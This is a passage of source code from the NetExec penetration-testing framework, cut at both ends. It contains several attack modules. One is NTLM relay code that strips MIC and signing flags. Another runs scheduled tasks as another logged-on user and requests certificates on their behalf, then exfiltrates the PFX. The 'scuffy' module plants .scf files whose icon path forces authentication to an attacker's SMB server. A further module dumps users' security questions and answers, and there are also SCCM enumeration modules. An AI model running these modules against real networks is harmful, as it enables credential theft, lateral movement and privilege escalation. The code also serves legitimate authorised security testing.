ntlm.NTLMSSP_NEGOTIATE_128) == 0: # No support for 128 key len, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128 if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0: # No key exchange supported, taking it out responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH # drop the mic need to unset these flags # https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72 if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN: responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password, lmhash, nthash, use_ntlmv2) # Special case for anonymous login if user == "" and password == "" and lmhash == "" and nthash == "": keyExchangeKey = b"\x00" * 16 if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) else: encryptedRandomSessionKey = None exportedSessionKey = keyExchangeKey ntlmChallengeResponse["flags"] = responseFlags ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le") ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le") if lmResponse == "": ntlmChallengeResponse["lanman"] = b"\x00" else: ntlmChallengeResponse["lanman"] = lmResponse ntlmChallengeResponse["ntlm"] = ntResponse if encryptedRandomSessionKey is not None: ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey return ntlmChallengeResponse, exportedSessionKey NetExec-1.5.1/nxc/modules/runasppl.py000066400000000000000000000037661514706431700175530ustar00rootroot00000000000000from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from impacket.dcerpc.v5.rrp import DCERPCSessionError from nxc.helpers.misc import CATEGORY class NXCModule: # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """""" def on_admin_login(self, context, connection): try: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\Lsa" ) key_handle = ans["phkResult"] _ = data = None try: _, data = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, key_handle, "RunAsPPL\x00", ) except rrp.DCERPCSessionError as e: context.log.debug(f"RunAsPPL error {e} on host {connection.host}") if data is None or data not in [1, 2]: context.log.highlight("RunAsPPL disabled") else: context.log.highlight("RunAsPPL enabled") except DCERPCSessionError as e: context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}") finally: remote_ops.finish() NetExec-1.5.1/nxc/modules/sccm-recon6.py000066400000000000000000000133521514706431700200160ustar00rootroot00000000000000 import contextlib from impacket.dcerpc.v5 import transport, rrp from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.rpcrt import DCERPCException from nxc.helpers.misc import CATEGORY from impacket.smbconnection import SMBConnection class NXCModule: # Mainly based on pssrecon:https://github.com/slygoo/pssrecon name = "sccm-recon6" description = "Check if target is a Distribution point or Primary Site Server through winreg (RECON-6)" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """No options available""" def on_login(self, context, connection): self.context = context self.connection = connection connection.trigger_winreg() rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]") rpc.set_smb_connection(connection.conn) if connection.kerberos: rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost) dce = rpc.get_dce_rpc() if connection.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) try: dce.connect() dce.bind(rrp.MSRPC_UUID_RRP) # Open HKEY_LOCAL_MACHINE ans = rrp.hOpenLocalMachine(dce) hRootKey = ans["phKey"] self.EnumerateSS(dce, hRootKey) try: self.EnumerateDB(dce, hRootKey) except DCERPCException: self.context.log.fail("No site Database found") except DCERPCException as e: if "rpc_s_access_denied" in str(e): self.context.log.info(f"Probably not a primary site server or a distribution point: {e}") else: self.context.log.fail(f"Unexpected error: {e}") except Exception as e: self.context.log.fail(f"Unexpected error: {e}") finally: with contextlib.suppress(Exception): dce.disconnect() def EnumerateSS(self, dce, hRootKey): # Open the target registry key hkey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\SMS")["phkResult"] num_keys = rrp.hBaseRegQueryInfoKey(dce, hkey)["lpcSubKeys"] subkeys = [rrp.hBaseRegEnumKey(dce, hkey, i)["lpNameOut"].rstrip("\x00") for i in range(num_keys)] for subkey in subkeys: if subkey == "DP": self.context.log.success("Distribition Point Installed") self.EnumerateDP(dce, hRootKey) if subkey == "MP": self.context.log.success("Management Point Installed") # Check current logged user (probably sccm admin) hkey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\SMS\\CurrentUser")["phkResult"] value = rrp.hBaseRegQueryValue(dce, hkey, "UserSID") self.context.log.success(f"Site Server Current User SID: {value[1][:-1]}") self.context.log.display(f" Resolve with: --query '(objectSid={value[1][:-1]})' sAMAccountName") def EnumerateDP(self, dce, hRootKey): # Check distridution point info hkey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\SMS\\DP")["phkResult"] value = rrp.hBaseRegQueryValue(dce, hkey, "SiteCode") self.context.log.display(f" Site Code: {value[1][:-1]}") value = rrp.hBaseRegQueryValue(dce, hkey, "SiteServer") self.context.log.display(f" Site Server: {value[1][:-1]}") value = rrp.hBaseRegQueryValue(dce, hkey, "ManagementPoints") for mp in value[1][:-1].split("*"): self.context.log.display(f" Management Points: {mp}") value = rrp.hBaseRegQueryValue(dce, hkey, "IsPXE") if value[1] == 1: self.context.log.highlight(" PXE is installed - CRED-1") value = rrp.hBaseRegQueryValue(dce, hkey, "IsAnonymousAccessEnabled") if value[1] == 1: self.context.log.highlight(" Anonymous access to Distribution Point is enabled - CRED-6") self.context.log.display(f" http://{self.connection.host}/sms_dp_smspkg$/datalib") else: self.context.log.display(" Anonymous access to Distribution Point is disabled") def EnumerateDB(self, dce, hRootKey): # Check for database site hkey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\SMS\\COMPONENTS\\SMS_SITE_COMPONENT_MANAGER\\Multisite Component Servers")["phkResult"] num_keys = rrp.hBaseRegQueryInfoKey(dce, hkey)["lpcSubKeys"] subkeys = [rrp.hBaseRegEnumKey(dce, hkey, i)["lpNameOut"].rstrip("\x00") for i in range(num_keys)] if num_keys == 0: self.context.log.success("Local Site Database") else: for subkey in subkeys: self.context.log.success(f"Site Database : {subkey}") # Resolve site database name target = self.connection.resolver(subkey) if target is None: try: new_conn = SMBConnection(subkey, subkey) except Exception as e: self.context.log.fail(f"Connection error to {subkey}: {e}") continue else: try: new_conn = SMBConnection(subkey, target["host"]) except Exception as e: self.context.log.fail(f"Connection error to {target['host']}: {e}") continue if new_conn.isSigningRequired(): self.context.log.display(f" SMB signing: {new_conn.isSigningRequired()}") else: self.context.log.highlight(f" SMB signing: {new_conn.isSigningRequired()} - TAKEOVER-2") NetExec-1.5.1/nxc/modules/sccm.py000066400000000000000000000333331514706431700166250ustar00rootroot00000000000000from impacket.ldap import ldap, ldaptypes from impacket.ldap.ldap import LDAPSearchError from ldap3.protocol.microsoft import security_descriptor_control from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes SAM_USER_OBJECT = 0x30000000 SAM_MACHINE_ACCOUNT = 0x30000001 SAM_GROUP_OBJECT = 0x10000000 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941" class NXCModule: """ Implementation of the SCCM RECON-1 technique to find SCCM related objects in Active Directory. See: https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md https://github.com/garrettfoster13/sccmhunter Module by @NeffIsBack """ name = "sccm" description = "Find a SCCM infrastructure in the Active Directory" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def __init__(self): self.sccm_site_servers = [] # List of dns host names of the SCCM site servers self.sccm_sites = {} # List of SCCM sites with their management points (Sorted by site code) self.base_dn = "" self.recursive_resolve = False self.user_objects = [] self.computer_objects = [] self.group_objects = {} def options(self, context, module_options): """ BASE_DN The base domain name for the LDAP query REC_RESOLVE Resolve members of groups recursively. Default: False """ if module_options and "BASE_DN" in module_options: self.base_dn = module_options["BASE_DN"] if module_options and "REC_RESOLVE" in module_options: self.recursive_resolve = bool(module_options["REC_RESOLVE"]) def on_login(self, context, connection): """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context self.connection = connection self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn self.sc = ldap.SimplePagedResultsControl() # Basic SCCM enumeration try: # Search for SCCM root object search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" controls = security_descriptor_control(sdflags=0x04) context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") result = connection.ldap_connection.search( searchFilter=search_filter, attributes=["nTSecurityDescriptor", "distinguishedName"], sizeLimit=0, searchControls=controls, searchBase=self.base_dn, ) result_parsed = parse_result_attributes(result) # There should be only one result for item in result_parsed: self.context.log.success(f"Found SCCM object: {item['distinguishedName']}") self.get_site_servers(item) self.get_sites() self.get_management_points() # Print results self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:") for site in self.sccm_site_servers: ip = self.connection.resolver(site) self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}") self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:") for site in self.sccm_sites: self.context.log.highlight(f"{self.sccm_sites[site]['cn']}") self.context.log.highlight(f" Site Code: {site.rjust(14)}") self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}") # If there aren't Management Points, it's a Central Administration Site if self.sccm_sites[site]["ManagementPoints"]: self.context.log.highlight(f" CAS: {' ':<17}{False}") self.context.log.highlight(" Management Points:") for mp in self.sccm_sites[site]["ManagementPoints"]: self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}") self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}") self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}") self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}") else: self.context.log.highlight(f" CAS: {' ':<17}{True}") self.context.log.highlight("") except LDAPSearchError as e: context.log.fail(f"Got unexpected exception: {e}") # SCCM named objects enumeration self.get_sccm_named_objects(context, connection) if self.user_objects: context.log.success(f"Found {len(self.user_objects)} SCCM related user objects:") for user in self.user_objects: context.log.highlight(user) if self.computer_objects: context.log.success(f"Found {len(self.computer_objects)} SCCM related computer objects:") for computer in self.computer_objects: context.log.highlight(computer) if self.group_objects: context.log.success(f"Found {len(self.group_objects)} SCCM related group objects:") for group in self.group_objects: context.log.highlight(self.group_objects[group]["sAMAccountName"]) for child in self.group_objects[group]["children"]: if int(child["sAMAccountType"]) == SAM_USER_OBJECT: context.log.highlight(f" {child['sAMAccountName']} -> User") elif int(child["sAMAccountType"]) == SAM_MACHINE_ACCOUNT: context.log.highlight(f" {child['sAMAccountName']} -> Computer") elif int(child["sAMAccountType"]) == SAM_GROUP_OBJECT: context.log.highlight(f" {child['sAMAccountName']} -> Group") def get_sccm_named_objects(self, context, connection): """Enumerate users/groups/computers with "SCCM" in their name""" # hippity hoppity your code is now my property, filter stolen from the awesome sccmhunter repository # https://github.com/garrettfoster13/sccmhunter try: yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))" context.log.display("Searching for SCCM related objects") result = connection.ldap_connection.search( searchFilter=yoinkers, searchBase=self.base_dn, attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) result = parse_result_attributes(result) for res in result: if "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_USER_OBJECT: self.user_objects.append(res["sAMAccountName"]) elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_MACHINE_ACCOUNT: self.computer_objects.append(res["sAMAccountName"]) elif "sAMAccountType" in res and int(res["sAMAccountType"]) == SAM_GROUP_OBJECT: self.group_objects[res["distinguishedName"]] = { "sAMAccountName": res["sAMAccountName"], "children": [], } if self.recursive_resolve: self.resolve_recursive(res["distinguishedName"]) except LDAPSearchError as e: context.log.fail(f"Got unexpected exception: {e}") def resolve_recursive(self, dn): """Recursively resolve members of a group.""" try: self.context.log.debug(f"Resolving group members recursively for {dn}") # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN result = self.connection.ldap_connection.search( searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})", attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) result = parse_result_attributes(result) for res in result: self.group_objects[dn]["children"].append({ "sAMAccountName": res["sAMAccountName"], "distinguishedName": res["distinguishedName"], "sAMAccountType": res["sAMAccountType"], }) except LDAPSearchError as e: self.context.log.error(f"Error resolving group members: {e}") def get_management_points(self): """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code.""" try: response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSManagementPoint)", attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"], ) response_parsed = parse_result_attributes(response) for mp in response_parsed: ip = self.connection.resolver(mp["dNSHostName"]) self.sccm_sites[mp["mSSMSSiteCode"]]["ManagementPoints"].append({ "cn": mp["cn"], "dNSHostName": mp["dNSHostName"], "IPAddress": ip["host"] if ip else "-", "mSSMSDefaultMP": mp["mSSMSDefaultMP"], }) except LDAPSearchError as e: self.context.log.error(f"Error searching for management points: {e}") def get_sites(self): """Searches for all SCCM sites in the Active Directory, sorted by site code.""" try: response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSSite)", attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"], ) response_parsed = parse_result_attributes(response) for site in response_parsed: self.sccm_sites[site["mSSMSSiteCode"]] = { "cn": site["cn"], "AssignmentSiteCode": site["mSSMSAssignmentSiteCode"], "ManagementPoints": [] } except LDAPSearchError as e: self.context.log.error(f"Error searching for sites: {e}") def get_site_servers(self, item): """Extracts the site servers from the root SCCM object.""" principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=item["nTSecurityDescriptor"]) self.parse_dacl(principal_security_descriptor["Dacl"]) self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique def parse_dacl(self, dacl): """Parses a DACL and extracts the dns host names with full control over the SCCM object.""" self.context.log.debug("Parsing DACL") for ace in dacl["Data"]: self.parse_ace(ace) def parse_ace(self, ace): """Parses an ACE and resolves the SID if the SID of the ACE has full control.""" if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE"]: ace = ace["Ace"] sid = ace["Sid"].formatCanonical() mask = ace["Mask"] fullcontrol = 0xf01ff if mask.hasPriv(fullcontrol): self.resolve_SID(sid) def resolve_SID(self, sid): """Tries to resolve a SID and add the dNSHostName to the sccm site list.""" try: self.context.log.debug(f"Resolving SID: {sid}") result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"], ) parsed_result = parse_result_attributes(result) if not parsed_result: return None else: parsed_result = parsed_result[0] # We only have one result as we always query a single SID if int(parsed_result["sAMAccountType"]) == SAM_MACHINE_ACCOUNT: self.context.log.debug(f"Found object with full control over SCCM object. SID: {sid}, dns_hostname: {parsed_result['dNSHostName']}") self.sccm_site_servers.append(parsed_result["dNSHostName"]) elif int(parsed_result["sAMAccountType"]) == SAM_GROUP_OBJECT: if isinstance(parsed_result["member"], list): for member in parsed_result["member"]: member_sid = self.dn_to_sid(member) if member_sid: self.resolve_SID(member_sid) else: # Group has only one member member_sid = self.dn_to_sid(parsed_result["member"]) if member_sid: self.resolve_SID(member_sid) except Exception as e: self.context.log.debug(f"SID not found in LDAP: {sid}, {e}") return "" def dn_to_sid(self, dn) -> str: """Tries to resolve a DN to a SID.""" result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(distinguishedName={dn})", attributes=["sAMAccountName", "objectSid"], ) # Extract the SID of the object sid_raw = bytes(result[0][1][0][1].components[0]) return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical() NetExec-1.5.1/nxc/modules/schtask_as.py000066400000000000000000000305761514706431700200310ustar00rootroot00000000000000from time import sleep from io import BytesIO from textwrap import dedent from os import path, makedirs from traceback import format_exc from nxc.paths import NXC_PATH from nxc.helpers.misc import CATEGORY from nxc.helpers.misc import gen_random_string from nxc.protocols.smb.atexec import TSCH_EXEC class NXCModule: """ Execute a scheduled task remotely as a already connected user by @Defte_ Thanks @Shad0wC0ntr0ller for the idea of removing the hardcoded date that could be used as an IOC Modified by @Defte_ so that output on multiples lines are printed correctly (28/04/2025) Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025) Modified by @SGMG11 to execute the task without output Modified by @Defte_ to add certificate request on behalf of someone options Modified by @Azoxlpf to improve ADCS certificate handling and PFX retrieval (17/10/2025) """ name = "schtask_as" description = "Remotely execute a scheduled task as a logged on user" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): r""" CMD Command to execute USER User to execute command as BINARY OPTIONAL: Upload the binary to be executed by CMD TASK OPTIONAL: Set a name for the scheduled task name FILE OPTIONAL: Set a name for the command output file LOCATION OPTIONAL: Set a location for the command output file (e.g. 'C:\\Windows\\Temp\\') SILENTCOMMAND OPTIONAL: Do not retrieve output CA OPTIONAL: Set the Certificate Authority name to ask the certificate from (i.e: SERVER\\CA_NAME) TEMPLATE OPTIONAL: Set the name of the template to request a certificate from Example: ------- nxc smb -u -p -M schtask_as -o USER=Administrator CMD=whoami nxc smb -u -p -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe nxc smb -u -p -M schtask_as -o USER=Administrator CMD='dir \\\pwn' TASK='Legit Task' SILENTCOMMAND='True' nxc smb -u -p -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User """ self.logger = context.log self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None self.share = "C$" self.output_file_location = "\\Windows\\Temp" # Basic schtask_as parameters self.command_to_run = module_options.get("CMD") self.binary_to_upload = module_options.get("BINARY") self.run_task_as = module_options.get("USER") # Task customization options self.task_name = module_options.get("TASK") self.output_filename = module_options.get("FILE", gen_random_string(8)) self.output_file_location = module_options.get("LOCATION", self.output_file_location).rstrip("\\") self.show_output = module_options.get("SILENTCOMMAND", "").lower() not in {"true", "yes", "1"} # ADCS certificate request options self.ca_name = module_options.get("CA") if self.ca_name: if "\\" not in self.ca_name: context.log.fail("CA name must be in the following format: SERVER_NAME\\CertificateAuthority_Name") exit(1) elif "\\\\" in self.ca_name: self.ca_name = self.ca_name.replace("\\\\", "\\") self.template_name = module_options.get("TEMPLATE") def on_admin_login(self, context, connection): if self.command_to_run is None: self.logger.fail("You need to specify a CMD to run") return if self.run_task_as is None: self.logger.fail("You need to specify a USER to run the task as") return if self.command_to_run.lower() == "certreq": if self.ca_name is None: self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name") return if self.template_name is None: self.logger.fail("CertReq requires the template to request a certificate from") return tmp_share = self.share.replace("$", ":") full_path_prefixed_file = f"{tmp_share}\\{self.output_file_location}\\{self.output_filename}" batch_file = BytesIO(dedent(rf""" @echo off setlocal enabledelayedexpansion set "BASE={full_path_prefixed_file}" certreq -new "%BASE%.inf" "%BASE%.req" > nul certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul certutil -user -addstore my "%BASE%.cer" > nul set "HASH=" for /f "tokens=2 delims=:" %%A in (' certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash" ') do ( set "tmp=%%A" set "tmp=!tmp: =!" set "HASH=!tmp!" ) if "!HASH!"=="" ( exit /b 1 ) certutil -user -repairstore my !HASH! > nul 2>&1 certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1 certutil -user -delstore my !HASH! > nul 2>&1 if exist "%BASE%.pfx" ( exit /b 0 ) else ( exit /b 2 ) """).encode()) connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.bat", batch_file.read) self.logger.success("Upload batch file successfully") inf_file = BytesIO(dedent(f""" [Version] Signature="$Windows NT$" [NewRequest] Subject = "CN={self.run_task_as}" KeySpec = 1 KeyLength = 2048 Exportable = TRUE MachineKeySet = FALSE SMIME = FALSE PrivateKeyArchive = FALSE UserProtected = FALSE UseExistingKeySet = FALSE ProviderName = "Microsoft RSA SChannel Cryptographic Provider" ProviderType = 12 RequestType = PKCS10 KeyUsage = 0xa0 [EnhancedKeyUsageExtension] OID=1.3.6.1.5.5.7.3.2 [RequestAttributes] CertificateTemplate = {self.template_name} """).encode()) connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.inf", inf_file.read) self.logger.success("Upload INF file successfully") self.command_to_run = f"{full_path_prefixed_file}.bat" if self.binary_to_upload: if not path.isfile(self.binary_to_upload): self.logger.fail(f"Cannot find {self.binary_to_upload}") return else: self.logger.display(f"Uploading {self.binary_to_upload}") with open(self.binary_to_upload, "rb") as binary_to_upload: try: self.binary_to_upload_name = path.basename(self.binary_to_upload) connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.binary_to_upload_name}", binary_to_upload.read) self.command_to_run = f"{self.output_file_location}\\{self.command_to_run}" self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.output_file_location}\\{self.binary_to_upload_name}") except Exception as e: self.logger.fail(f"Error writing file to {self.output_file_location}: {e}") return self.logger.display("Connecting to the remote Service control endpoint") try: exec_method = TSCH_EXEC( connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, connection.smb_share_name, connection.username, connection.password, connection.domain, connection.kerberos, connection.aesKey, connection.host, connection.kdcHost, connection.hash, self.logger, connection.args.get_output_tries, connection.args.share, self.run_task_as, self.command_to_run, self.output_filename, self.task_name, self.output_file_location, ) if self.show_output is False: self.logger.display(f"Silently executing '{self.command_to_run}' as '{self.run_task_as}'") else: self.logger.display(f"Executing '{self.command_to_run}' as '{self.run_task_as}'") output = exec_method.execute(self.command_to_run, self.show_output) try: if not isinstance(output, str): output = output.decode(connection.args.codec) except UnicodeDecodeError: # Required to decode specific French characters otherwise it'll print b"" output = output.decode("cp437") if output: for line in output.splitlines(): self.logger.highlight(line.rstrip()) except Exception as e: self.logger.fail(f"Error executing command via atexec: {e}") self.logger.debug(format_exc()) finally: if self.binary_to_upload: try: connection.conn.deleteFile(self.share, f"{self.output_file_location}\\{self.binary_to_upload_name}") self.logger.success(f"Binary {self.output_file_location}\\{self.binary_to_upload_name} successfully deleted") except Exception as e: self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}") if self.ca_name and self.template_name: dump_path = path.join(NXC_PATH, "modules/schtask_as") if not path.isdir(dump_path): makedirs(dump_path) pfx_local_path = path.join(dump_path, f"{self.run_task_as}.pfx") pfx_remote_path = f"{self.output_file_location}\\{self.output_filename}.pfx" # Polling loop to wait for the PFX to be ready (avoid fixed sleep) pfx_fetched = False last_exception = None max_wait_seconds = 15 self.logger.debug(f"Waiting up to {max_wait_seconds}s for remote PFX: {pfx_remote_path}") for second in range(max_wait_seconds): try: # try to download; open local file only on success with open(pfx_local_path, "wb+") as dump_file: connection.conn.getFile(self.share, pfx_remote_path, dump_file.write) pfx_fetched = True self.logger.success(f"PFX file stored in {dump_path}/{self.run_task_as}.pfx") break except Exception as e: last_exception = e # not ready yet (or other transient error) — sleep and retry if second % 5 == 0: # log every 5s to avoid spamming self.logger.debug(f"PFX not available yet (attempt {second + 1}/{max_wait_seconds}): {e}") sleep(1) if not pfx_fetched: self.logger.fail(f"Timed out after {max_wait_seconds}s waiting for {pfx_remote_path}. Last error: {last_exception}") for ext in [".bat", ".inf", ".cer", ".req", ".rsp", ".pfx", ""]: try: connection.conn.deleteFile(self.share, f"{self.output_file_location}\\{self.output_filename}{ext}") self.logger.debug(f"Successfully deleted {self.output_file_location}\\{self.output_filename}{ext}") except Exception as e: self.logger.debug(f"Couldn't delete {self.output_file_location}\\{self.output_filename}{ext} : {e}") NetExec-1.5.1/nxc/modules/scuffy.py000066400000000000000000000057041514706431700172000ustar00rootroot00000000000000import ntpath from sys import exit from nxc.helpers.misc import CATEGORY from nxc.paths import TMP_PATH class NXCModule: """ Original idea and PoC by Mubix "Rob" Fuller URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/ Module by: @kierangroome """ name = "scuffy" description = "Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.cleanup = None self.server = None self.file_path = None self.scf_path = None self.scf_name = None def options(self, context, module_options): """ SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False) """ self.cleanup = False if "CLEANUP" in module_options: self.cleanup = bool(module_options["CLEANUP"]) if "NAME" not in module_options: context.log.fail("NAME option is required!") exit(1) if not self.cleanup and "SERVER" not in module_options: context.log.fail("SERVER option is required!") exit(1) self.scf_name = module_options["NAME"] self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf" self.file_path = ntpath.join("\\", f"{self.scf_name}.scf") if not self.cleanup: self.server = module_options["SERVER"] with open(self.scf_path, "a") as scuf: scuf.write("[Shell]\n") scuf.write("Command=2\n") scuf.write(f"IconFile=\\\\{self.server}\\share\\icon.ico\n") def on_login(self, context, connection): shares = connection.shares() for share in shares: if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]: context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: with open(self.scf_path, "rb") as scf: try: connection.conn.putFile(share["name"], self.file_path, scf.read) context.log.success(f"Created SCF file on the {share['name']} share") except Exception as e: context.log.fail(f"Error writing SCF file to share {share['name']}: {e}") else: try: connection.conn.deleteFile(share["name"], self.file_path) context.log.success(f"Deleted SCF file on the {share['name']} share") except Exception as e: context.log.fail(f"Error deleting SCF file on share {share['name']}: {e}") NetExec-1.5.1/nxc/modules/security-questions.py000066400000000000000000000136121514706431700215750ustar00rootroot00000000000000from impacket.dcerpc.v5 import samr, transport from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5.rpcrt import DCERPCException from json import loads from traceback import format_exc as traceback_format_exc from nxc.helpers.misc import CATEGORY class NXCModule: """ Module by Adamkadaban: @Adamkadaban Based on research from @0gtweet (@gtworek) Much of this code was copied from add_computer.py Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html """ name = "security-questions" description = "Gets security questions and answers for users on computer" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module): pass def on_admin_login(self, context, connection): self.__domain = connection.domain self.__domainNetbios = connection.domain self.__kdcHost = connection.hostname + "." + connection.domain self.__target = self.__kdcHost self.__username = connection.username self.__password = connection.password self.__targetIp = connection.host self.__port = context.smb_server_port self.__aesKey = context.aesKey self.__hashes = context.hash self.__doKerberos = connection.kerberos self.__nthash = "" self.__lmhash = "" if context.hash and ":" in context.hash[0]: hashList = context.hash[0].split(":") self.__nthash = hashList[-1] self.__lmhash = hashList[0] elif context.hash and ":" not in context.hash[0]: self.__nthash = context.hash[0] self.__lmhash = "00000000000000000000000000000000" self.getSAMRResetInfo(context) def getSAMRResetInfo(self, context): string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]" rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.set_dport(445) rpc_transport.setRemoteHost(self.__targetIp) if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost) try: dce = rpc_transport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) # obtain server handle for samr connection resp = samr.hSamrConnect(dce) server_handle = resp["ServerHandle"] resp = samr.hSamrEnumerateDomainsInSamServer(dce, 